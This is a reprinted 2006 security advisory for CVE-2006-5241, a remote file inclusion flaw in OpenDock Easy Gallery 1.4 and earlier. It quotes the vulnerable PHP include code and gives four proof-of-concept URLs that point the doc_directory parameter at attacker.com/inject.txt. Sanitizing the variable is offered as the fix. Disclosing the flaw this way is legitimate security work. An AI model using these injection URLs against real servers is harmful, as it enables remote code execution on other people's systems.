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If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
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Home SecurityAlert Database |
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Topic : | OpenDock Easy Gallery <=1.4 (doc_directory) Multiple Remote File Inclusion Vulnerability
|
SecurityAlert : 1708
CVE : CVE-2006-5241
SecurityRisk : High (About)
Remote Exploit : Yes
Local Exploit : No
Exploit Available : Yes
Credit : Dedi Dwianto a.k.a the_day
Published : 13.10.2006
Affected Software : | OpenDock Easy Gallery <=1.4 |
 Advisory Content : ECHO_ADV_52$2006
------------------------------------------------------------------------
-----------------------
[ECHO_ADV_52$2006]OpenDock Easy Gallery <=1.4 (doc_directory) Multiple
Remote File Inclusion Vulnerability
------------------------------------------------------------------------
-----------------------
Author : Dedi Dwianto a.k.a the_day
Date Found : October, 09th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv52-theday-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
------------------------------------------------------------------------
---
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : OpenDock Easy Gallery
version : <=1.4
URL : http://web.opendock.net
------------------------------------------------------------------------
---
Vulnerability:
~~~~~~~~~~~~~~
In folder sw/lib_up_file/ I found vulnerability script file.php
--------------------------file.php--------------------------------------
-
....
<?
include $doc_directory.$path_sw."lib_up_file/lib_file.php";
include $doc_directory.$path_sw."lib_up_file/lib_form_file.php";
include $doc_directory.$path_sw."lib_up_file/lib_read_file.php";
include $doc_directory.$path_sw."lib_up_file/lib_page_file.php";
include $doc_directory.$path_sw."lib_up_file/find_file.php";
include $doc_directory.$path_sw."lib_up_file/down_stat.php";
...
----------------------------------------------------------
Input passed to the "$doc_directory" parameter in file.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
Also affected files on Files:
sw/lib_user/find_user.php
sw/lib_user/lib_user.php
sw/lib_user/lib_form_user.php
sw/lib_user/user.php
sw/lib_session/find_session.php
sw/lib_session/session.php
sw/lib_comment/comment.php
sw/lib_comment/lib_comment.php
etc..
Proof Of Concept:
~~~~~~~~~~~~~~~
http://target.com/[OpenDockEasyGallery_Path]/sw/lib_user/find_user.php?d
oc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyGallery_Path]/sw/lib_user/user.php?doc_di
rectory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyGallery_Path]/sw/lib_comment/comment.php?
doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyGallery_Path]/sw/lib_session/session.php?
doc_directory=http://attacker.com/inject.txt?
Solution:
~~~~~~~
- Sanitize variable $doc_directory on affected files.
- Turn off register_globals
Timeline:
~~~~~~~
09 - 10 - 2006 Bugs Found
09 - 10 - 2006 Vendor Contact
09 - 10 - Public Disclosure
------------------------------------------------------------------------
---
Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,boom_3x,mathdule,angelia
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
EcHo Research & Development Center
the_day[at]echo[dot]or[dot]id
-------------------------------- [ EOF ]----------------------------------
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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